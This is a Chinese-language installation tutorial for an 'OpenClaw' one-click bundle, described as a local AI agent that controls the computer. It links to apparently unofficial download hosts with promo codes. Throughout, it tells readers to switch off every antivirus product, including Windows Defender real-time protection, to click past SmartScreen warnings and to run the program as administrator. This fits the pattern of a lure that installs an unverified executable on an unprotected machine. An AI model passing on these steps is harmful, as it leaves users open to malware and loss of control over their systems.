新手向 OpenClaw 安装教程，路径与避坑要点汇总

OpenClaw 一键集成包图形化搭建本地 AI 智能体适配系统Windows10/11 64 位、macOS 12 及以上当前版本Windows v3.1.0、macOS v2.7.9安装包大小约 45.8MB下载地址Windows3.1.0 版本https://xiake.yun/api/download/package/28?promoCodeIV4E9B04A80CmacOS2.7.9 版本https://openclaw.ikidi.top/api/download/package/35?promoCodeIV4E9B04A80C⚠️提示下载文件建议选用浏览器自带下载器或者迅雷防止网络波动造成压缩包损坏保证文件完整性。工具简单介绍✨在折腾本地 AI 工具的时候最头疼的就是各种环境依赖问题。版本不匹配、组件缺失随便一个小问题就会导致程序跑不起来。OpenClaw 集成包把全部运行依赖内置封装完成全部操作都在图形界面完成完全不需要命令行操作。整体部署耗时较短就算没有开发背景的普通用户也可以顺利完成搭建适用于办公自动化、本地任务执行、电脑操作自动化等场景。⚠️安装前重要注意点OpenClaw 具备文件读写、系统权限调用、键鼠模拟、浏览器自动化等能力安全软件很容易将其判定为风险程序。解压、安装以及启动软件之前务必把全部安全防护软件关闭包括 Windows Defender 实时防护、火绒、360 安全卫士、腾讯电脑管家。一旦核心文件被隔离删除就会直接出现安装失败、启动异常等情况。解压工具优先选择 7‑Zip、WinRAR系统自带解压工具容易出现文件解压不全引发各类莫名报错。完整安装部署步骤步骤 1解压压缩包启动安装程序把下载好的压缩包解压到当前文件夹生成完整程序目录。打开解压目录双击Openclaw Windows 一键启动.exe红色龙虾图标可以快速定位程序。遇到 Windows SmartScreen 安全拦截弹窗点击更多信息 → 仍要运行继续操作。进入欢迎界面点击底部「开始使用」跳转至安装路径选择页面。路径设置重点 必须使用纯英文路径禁止中文、空格、、 等特殊符号不建议安装到 C 盘避免占用系统盘存储空间。 ✅推荐路径示例D:\OpenClaw、E:\AI\OpenClaw❌错误路径示例D:\AI自动化工具\OpenClaw、D:\龙虾程序勾选《用户协议》与《免责声明》点击「开始安装」。步骤 2全自动执行部署✅点击开始安装后续全部交给程序自动处理不需要人为干预耗时 3‑5 分钟具体取决于电脑硬件配置。❗千万不要中途关闭安装窗口窗口关闭会直接造成部署中断失败。程序自动完成的工作检测本机运行环境自动补齐 Git、Node.js、Python 等缺失组件部署 OpenClaw 核心程序文件完成系统适配安装浏览器驱动、键鼠模拟等自动化相关组件生成本机专属.env配置文件生成桌面快捷方式进度达到 100% 之后软件会自动唤起主程序界面。步骤 3第一次启动确认服务运行状态安装完成会进入初始化页面提示「正在等待 Gateway 就绪...」。第一次启动需要加载初始化资源等待 1‑3 分钟属于正常现象后续再次启动速度很快。当页面右上角显示Gateway 在线就代表整套部署已经完成。界面功能分区说明右上角Gateway 服务状态、重启按钮、日志入口、Tokens 额度信息左侧本地会话、渠道切换栏可以新建对话查看历史会话记录中间AI 对话主窗口支持多模型切换代码片段自动高亮底部指令输入框Enter 发送指令ShiftEnter 换行支持自动 / 普通模式切换步骤 4下发指令体验自动化效果部署完成不需要额外修改配置直接输入自然语言指令OpenClaw 就会解析任务操控电脑完成对应的工作。指令描述越细致执行效果越稳定。✍️新手测试指令直接复制即可使用帮我整理 D 盘下载文件夹按文件类型分类创建文件夹 打开记事本输入 “OpenClaw 部署成功”保存到桌面 查询当前电脑的磁盘可用空间整理成文字告诉我常见问题快速排查安装失败、点击启动无任何反应确认安全防护软件已经全部关闭如果问题依旧重新解压压缩包重试安装。Gateway 一直处于离线状态检查安装路径确认全部为英文不存在中文、特殊符号点击右上角重启按钮重新拉起 Gateway 服务完全退出程序右键选择以管理员身份运行网络异常提示第一次启动需要联网完成部分资源初始化关闭代理、VPN保证网络正常后重试。无法发送指令等待 Gateway 服务状态切换为在线之后再下发指令依旧异常可以重新安装。长期使用小提示安装磁盘建议预留 5G 以上空间用于存放插件、模型缓存文件。日常使用直接双击桌面快捷方式启动无需重复解压安装包。如果需要对接飞书、微信聊天渠道进入「设置」→「聊天渠道」完成配置就可以通过聊天软件下发任务。版本更新直接下载新版安装包覆盖原有文件夹不需要卸载旧版本。安装包下载汇总Windows3.1.0 版本https://xiake.yun/api/download/package/28?promoCodeIV4E9B04A80CmacOS2.7.9 版本https://openclaw.ikidi.top/api/download/package/35?promoCodeIV4E9B04A80C